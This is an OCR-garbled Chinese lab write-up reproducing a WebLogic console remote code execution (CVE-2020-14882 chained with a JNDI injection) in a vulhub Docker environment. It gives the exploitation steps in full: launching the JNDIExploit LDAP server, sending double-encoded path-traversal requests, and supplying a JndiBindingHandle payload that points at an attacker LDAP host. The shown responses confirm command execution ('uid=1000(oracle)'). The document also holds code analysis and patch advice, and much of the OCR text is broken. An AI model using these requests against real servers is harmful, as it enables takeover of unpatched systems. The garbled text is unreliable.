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1. ARRIAMME(ERE vulhub 189 docker 3842, TEthit

git clone https://github.com/vulhub/vulhub.git

1# git clone https://github.com/vulhub/vulhub.git

Z "wvulhub'
remote: Enumerating objects: 49, done.

remote: Counting objects: 100% {49f49} done. P
remote: Compressin jects: 180% (39/39), done. % fil{s=:Dawn_Sec
: 8 180/1026! 0. | 1.62 MiB/s

2 {#/ vulhub # CVE-2020-14882 SEa N2 R B E I IFE

cd vulhub-master/weblogic/CVE-2020-14882/docker-compose up -d

0C cd vulhub-master/weblogic/CVE-2020-14882/
[root@localhost CVE-2020-14882]1# 1s
l.png 2.png 3.png 4.png d _Pur -compose.yml README.md README.zh-cn.md
[root@localhost CUE-7I 0 -] e
Pulling w »
12.2.1.3 ) Pulllnq frum vulhu
Digest: sha2b6: ddfﬁ:df9’4’ﬁua’lei
Status: Downloa N i
Creating cve-2

4. T 2s1h10) http://your—ip:7001/console, AT D1 E AR

“ o F L4 | 172.16.1.147: jir ] v w | B |

ORACLE WebLogic Server Administration Console 12¢
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1. &, LDAP, #2357 LDAP, TEyuilt:
https://github.com/feihong-cs/INDIExploit/releases/tag/v.1.11
7T 1517 ldap BE javal.8 HFiE

java -jar JINDIExploit-v1.11.jar -i 172.16.1.147

[root@localhost ldapl# 1s
[root@localhost ldapl]# java -jar JNDIExploit-vl.1ll.jar -i
[+] LDAP Server 5tart Listening on 1389...
[+] HTTP Server 5tart Listening on 8080...

o 155 Dawn_Sec

3. EAARIURERSMA, EET url AU, FFHTIMEH RIARIERRIR

/console/css/%252e%252e%252f/consolejndi.portal

/ Request to http://172.16.1.147:7001

Forward | l Drop | | Intercept is on | l Action

Raw | Headers IE]

1 GET /console/css/%252e%252e%252f/consolejndi. portal HTTPR/1.1

Z Host: 17Z2.16.1.147:7001

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; =E4; rv:70.0) Gecko/Z0100101 Firefox/70.0
Accept: text/html, application/xzhtml+zml, application/=xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;qg=0.7,zh-HE;q=0.5,en-U8;g=0.3,en;qg=0.2

& Accept-Encoding: gzip, deflate
Connection: close

2 Upgrade-Insecure-FReque Scan

iy

Send to Intruder Ctrl+l
Send to Sequencer

Send to Comparer

Send to Decoder

Request in browser 2
Send to SQLMapper

Send to Laudanum

Generate shiro Payload

Chunked coding converter

Engagement fool g ~ IS Dawn_Sec
Change request method

Change bodv encoding




4.8 get BN post, FEN NUER, ¥ 172161147 BT mND =

_pagelabel=JNDIBindingPageGeneral&_nfpb=true&INDIBindingPortlethandle=com.bea.console.ha
ndles.JIndiBindingHandle(%221dap://172.16.1;147:1389/Basic/WeblogicEcho;AdminServer%22)

1|POST )/ console/css/%252e%252e%252f /consolejndi. portal A
HTTP/1.1
2 Host: 172.16.1.147:7001 Scan
3 User-Agent: Mozilla/5.0 (] Send to Intruder Ctrl+l
% |Accept: i ) Send to Sequencer
text/html, application/xhti * [ %
;q=0.8 Send to Comparer
5 Accept-Language: Send to Decoder
zh-CN, zh;gq=0.8, zh-TW; g=0. Show response in browser f =0
.2 Request in browser >
& Accept-Encoding: gzip, de Send to SQLM
7 Connection: close end to apper
8 cmd: pwd Send to CeWLer
9 Upgrade-Insecure—-Requests Send to Laudanum
U7AcEyQsSFS11LKEFSTpr—-ujg]] Chunked coding converter > -146
0735415
1 Content-Type: application Engagement tools
2 Content-Length: 174 Change request method
3 Change body encoding
4 pageLabel=JNDIEindingPag
JNDIEindingPortlethandle= Copy URL
com. bea.console. handles. J Copy as curl command 7Z.1
6.1;147:1389/Basic/Weblog]| Copytofie
Paste from file
Save item
Save entire history
Paste URL as request
Add to site map '~,_:'\"__'_z L:'J{Efj' Dziwr Sa

1 POST /console/css/%252e%252e4%252f/consolejndi. portal
HTTE/1.1

2 Host: 172.16.1.147:7001

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64;
rv:70.0) Gecko/20100101 Firefox/70.0

14 Accept:
text/html, application/xhtml+xml, application/=ml;q=0.8,*/*
so=0.8

5 Accept-Language:
zh-CN, zhig=0. 8, zh-TW;q=0.7,zh-HE; q=0.5,en-Us8; q=0. 3, en; q=0

-

1 Cony an: close
—

SUpgrade—Insecure—Regquests: 1

) Cookie: ADMINCONSOLESESSION=

0735415
1 Content-Type:
> Content-Length:
3
1 pacdeLabel=TNDIBEiLndinaPadeGenerals nfobh=trues

application/x-www-form-urlencoded
174

u7AcEyQsSF511LkFSTpr-ujgitVEETayILdIMZohZ10TzrxjBmpX | - 146

1 HTTPR/1.1 200 OK

2 Cache-Control: no-cache,no-store,max-age=0
3 Connection: close

4 Date: Fri, 22 Jan Z20Z1
5 Pragma: No-cache

6 Content-Type: text/html: charset=UTF-8
7 Expires: Thu, 01 Jan 1970 00:00:00 GMT
& X¥-Frame-Options: SAMEORIGIN

% Content-Length: 359

03:48: 46 GMT

10
.2 ___# |Llﬂlf oracle/user_projects/domains/base_domain I
¢ Accept-Encoding: gzip, deflate 12

Transitional//EN"
"http://www.w3.org/TR/htmld/loose.dtd">

138 <html lang="zh-CN"><head><meta http-esquiv="
¥-UA-Compatible" content="IE=edge"><meta http-equiv="
Content-Script-Type"” content="text/javascript"><meta
http-equiv="Content-Type"” content="text/html;
charset=UTF-8">

T




EI-JDIB_LndlngPortlethandle=
com. bea.console, handles, JndiBindingHandle (32Z21dap: //172. 1
6.1;147:1389/Basic/WeblogicEcho;AdminServer%2Z)

ATy Sy, s i -
wiEs: Dawrn_ Sec

1 POST /console/css/%252e%252e%252F/ consoledjndi. portal L 1 HITE/1l.1 Z00 OK
HTTE/1.1 2 Cache-Control: no-cache,no-store,max-age=0

2 Host: 172.16.1.147:7001 3 Connection: close

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x=G64: 4 Date: Fri, 22 Jan 2021 03:56:17 GMT
rv:70.0) Gecko/20100101 Firefox/70.0 5 Pragma: No-cache

4 Accept: 6 Content-Type: text/html; charset=UTF-8
text/html, application/xhtml+xml, application/xml;:q=0.9,*/* 7 Expires: Thu, 01 Jan 1570 00:00:00 GMT
jq=0.8 0 H-Frame-Options: SAMECRIGIN

5 Accept-Language: 9 Content-Length: 3C0

zh-CN, zh:;q=0. 8, zh-TW;g=0.7, zh-HK;q=0.5, en-US; g=0. 3, en; gq=0
2 ___# oracle

'Accept—Encodlng: gzip, deflate *row\w HTML x—Lfor_ C "-//W3C//DTD HTML 4.01

] Connection: _C‘j_cff_______...-——'——_
: hem14/100se . dtan>

¢ Upgrade-Insecure—Requests: 1 i <html lang=" "h—"_.H'»<]1-a i><meta http-ecquiv="
Cookie: ADMINCONSOLESESSION= H-UA-C W't’l'l;_‘ltl]JJ_D content="IE=adge"><meta http- eun_v—”
UTACEYyQsSFSL1TkFSTpr-ujgitVFBTayILdIMZohZ10TzrxjBmpX !l - 146 Content-Script-Type" content="text/javascript"><met
0735415 http-equiv="Content-Type" content="text/html;

1 Content-Type: application/x-www-form-urlencoded charset=UTF-8">

2 Content-Length: 174

_pageLabel=JNDIBindingPageGeneral&_nfpb=trues

JNDIBindingPortlethandle=

com. bea.cons Wl»—- .handles. JndiBindingHandle ($2Z1ldap://172. 1
.1;147:1389/Basic/WeblogicEcho; AdminServer%ZZ2)
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FKBEREMA: https://mp.weixin.gg.com/s/wX9TMXNTKVWwB_KkB6EZOkIw

1. X REFBIER D RESLE, 5 1%£=2 com.bea.console.handles.ndiBindingHandle

RHEXTRE T
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2. AJUER Handle R2RREIRILAIML, HIRBNITINEE, Bie L Weblogic Server

9 console MIIRIEREN D BIZILE Action BIEM £, FIUBIIEEEETH—1 Action, =

&— ©~ Weblogic Server 89 consolejndi.portal X4, LA JNDIBindingPageGeneral 95
A EEFIEE jndibinding.portlet



markupName="book" markupType=

title="jndi.bi g.titl
I markupType="Menu" markupName="singlel

markupName="
title="t

markupType="Layout" markupName="NolL
usingFlow=""f markupType="PLl
contentUri=" alConfig/jndi/jndibinding.

instancelabe NDIBindingPort i
markupType=

R %15 Dawn_Sec

3. PERIRP jndibinding.portlet B BAFRIISURF AR S — 1 X #2A92E JNDIBindingAction

action="INDIE i
refreshAction="JNDI

& 4155: Dawn_Sec

4. HEEPRH INDIBindingAction.execute HIRE



ActionForward execute({ActionMapping actionMapping, ActionForm actionForm, HttpServletReguest reguest
DynaActionForm form = (DynaActionForm)actionForm
(form == ) A
IllegalArgumentException(
{
JndiBindingHandle bindingHandle = (JndiBindingHandle) .getHandleContext(actionForm, reguest
(bindingHandle == ) {
IllegalArgumentException(
_{
(LD6.isTraceEnabled()) {
LD6.trace( + bindingHandle)

UsageRecorder.note( + bindingHand
DomainMBean domainMBean = MBeanUtils.getDomainMBean()
String context = bindingHandle.getContext()
5tring bindName = bindingHandle.getBinding()
S5tring serverName = bindingHandle.getServer()
JNDIBoundObject valueBean = JNDIBoundObject()
valueBean.setBindName(bindingHandle.getDisplayName())
ServerMBean serverMBean = domainMBean.lookupServer(serverName)
(serverMBean != ) q
1
Context ¢ = ConsoleUtils.initNamingContext(serverMBean)
(e I= ) {

i — { o | =
Object boundObj = c.lookup( context + i bindNamﬁ M{&=: Dawn_Sec

(boundUb] != R |

5. AT INDIJEANKEF KR lookup BREY (lookup ERERRI{E A context F1 bindName
RE) , BEXEADENEE, EE serverMBean A, M serverMBean 2H
DomainMBean.lookupServer 3REY, T R2EXTEREC TR =

ServerMBean lookupServer(String varl)

Iterator var2 = Arrays.asList((Dbject[]) ._Servers).iterator()

ServerMBeanImpl var3
{

(Ivar2.hasNext()) {

Basssm bl e o o A _____i T W

(lvar3.getName() .equals(varl))

vars

@ 415S: Dawn_Sec




MEIREBIANE, MFEEEL lookupServer FIEZT this._ Servers HfJ name, 1M
this._Servers § \E—ATE FAENESEILIE name BYEELHE

Code fragment:

[@].getMame()

Result:

¥ oo result =
= undefined
value =

hash = 1167380306
&y HES: Dawn_Sec

7. XEREEAMETE, EMAE T JNDIBindingAction BIGHD, WIRABZLH JNDI JE
NBT, BAIEERHE 2 REX:

context + "." +bindName FIEZEREEIEM JNDI HHFEEC

serverName BI{EN AdminServer
M context. bindName. serverName BI{EZEEZE M bindingHandle H3REXRY, 1EI5EATAI A
128l UndiBindingHandle LI H91E (objectldentifier) |, EERMETEE T objectidentifier
MU E 3 MEBEMHAXAT, E—F 3 THATEN get R, &I IEEF] Component
BxX,

String getContext() 4 .getComponent (

String getBinding() .getComponent (

String getSer {

.getccmpmnent{

& MISS: Dawn_Sec

8. IR getComponents RREY, A3U0T:



private String[] getComponents() {
if (this.components == null) {
String serialized = this.getObjectIdentifier();
ArrayList componentlist = new ArraylList();
StringBuffer currentComponent = new StringBuffer();
boolean lastlWasSpecial = false;

for(int i = 8; i < serialized.length(); ++i) {
char ¢ = serialized.charat(i);
if (lastWasSpecial) {
if (c == '@8") {
if (currentComponent == null) {
throw new AssertionError("Handle component already null :

+ serialized +

B E

if (currentComponent.length() » 8) {
throw new AssertionError(“"Null handle component preceeded by a character :

+ serialized + "'");

currentComponent = null;
} else if (c == "\\") {

if (currentComponent == null) {
throw new AssertionError(”"Null handle followed by \\ : "" + serialized + """);
3
currentComponent.append("\\');
} else { - S e . .
R T v S S Dawn_Sec

throw new AssertionError("\\ in handle followed by a character :'" + serialize

d+ "'");

if (currentComponent == null) {
throw new AssertionError("Null handle followed by ;

+ serialized + """);

currentComponent.append(';");

lastWasSpecial = false;
} else if (c == "\\") {
if (currentComponent == null) {
throw new AssertionError{“"Null handle followed by \\ :

+ serialized + """);

lastWasSpecial = true;
} else if (¢ == ";") {
String component = currentComponent != null ? currentComponent.toString() : null;
componentList.add(component);
currentComponent = new StringBuffer();
} else {
if (currentComponent == null) {
throw new AssertionError("Null handle followed by a character :

+ serialized +

")



currentComponent.append(c); TN
} ) s S Dawrn_Sec

if (lastWasSpecial) {
throw new AssertionError(”Last character in handle is \\ :'" + serialized + """);

}

String component = currentComponent != null ? currentComponent.toString() : null;
componentList.add(component);

this.components = (String[])((5tring[])componentList.toArray(new String[componentList.size
O1);
H

return this.components; . a hl;[rl =5 [)fl)fr] Sac

9. XEBESHARER

lookup: 417, InitialContext j&vaxnaming)

% ffi==:Dawn_Sec

10. PILA&EI components BYEFLZEIE objectidentifier BBEAR D S; DEIFFE, iR
1EEZRHIRESE A LUBY bjectldentifier SkIZH] T, PoC ISRk EIZRA T, Hill]
AI LB LDAP XA UL JNDIJEARE, hNEiznfE CodeBase THIGAELE
ldap://127.0.0;1:1389/EvilObject, AFMIBH=BaitbE—"1. ELAI DL context EALN
ldap://127.0.0 %4 bindName EfiI A~ 1:1389/EvilObject, &/EH serverName AN
AdminServer, FLLMIEEER PoC &, ®EFIEMENE:



POST /console/css/%252e3I52e%252f/consolejndi. portal
HTTE/Ll.1

Host: 17Z.16.1.147:7001

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4;:
rv:70.0) Gecko/Z0100101 Firefox/70.0

Accept:

text/html, application/xhtml+xml, application/xml;qg=0.9,*/*
;e=0.8

Accept-Language:

zh-CN, zh;q=0.8,zh-TW;q=0.7,zh-HE;gq=0.5,en-Us; q=0.3, en;q=0
¢ Accept-Encoding: gzip,
| Connection: close

xE4;

deflate

d:id

i Updrade-Insecure—Requests: 1

) Cookie: ADMINCONSOLESESSION=
u7A0EYQsSFS511LkFSTpr-ujgitVEB7ayILdlMZohZ10JzrxiBmpk | —146
0735415
Content-Type:
Content-Length:

application/x-www-form-urlencoded
174

_pageLabel=JNDIEindingPageGenerals_nfpb=trues&
JNDIBindingPortlethandle=

com. bea.conscle. handles. IndiBindingHandle ($221dap://172.1
6.1;147:1389/Basic/WeblogicEcho;AdminServer%2l)

L4 1EBHTTE/1.1 200 OK

Cache-Control: no-cache,no-store,max-age=0
Connection: close
Date: Fri, 22 Jan 2021 04:14:11 GMT

Pragma: No-cache
Content-Type: text/html; charset=UTF-8
Expires: Thu, 01 Jan 1970 00:00:00 GMT

X-Frame-Options: SAMEORIGIN
Content-Length: 3&7

=TI I I T R

uid=1000 (oracle) gid=1000(oracle) groups=1000(oracle)

Tran;_ltlonai//m"

"http://www.w3.org/TR/html 4/1o00se. dtd">

13 <html lang="zh-CN"><head><meta http-equiv="
X-UA-Compatible"” content="IE=edge"><meta http-equiv="
Content-Script-Type" content="text/javascript"><meta
http-equiv="Content-Type" content="text/html;
charset=UTF-8">

A C oy
0 oec

;,,a’[ = Dawr

o NDEA R TIAZa ST,

BITMER JDK RS

. BT ER
Weblogic Server ]

2. EMfEAh T, 2% Oracle

PR3 JOK M ASRIRONE, BINTTER

E MR T

https://www.oracle.com/security—alerts/cpujan2021.html

SENHR

https://mp.weixin.qgg.com/s/wX9TMXITKVWwB_KBEZOKIw

https://www.t00ls.net/thread-59470~1-1.htm|




